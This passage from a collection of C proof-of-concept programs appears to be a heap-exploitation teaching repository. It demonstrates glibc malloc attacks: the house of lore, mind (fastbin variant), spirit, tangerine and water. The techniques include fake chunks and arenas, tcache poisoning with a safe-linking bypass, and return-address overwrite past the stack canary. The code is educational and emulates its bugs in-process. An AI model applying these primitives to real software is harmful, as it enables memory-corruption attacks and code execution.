victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 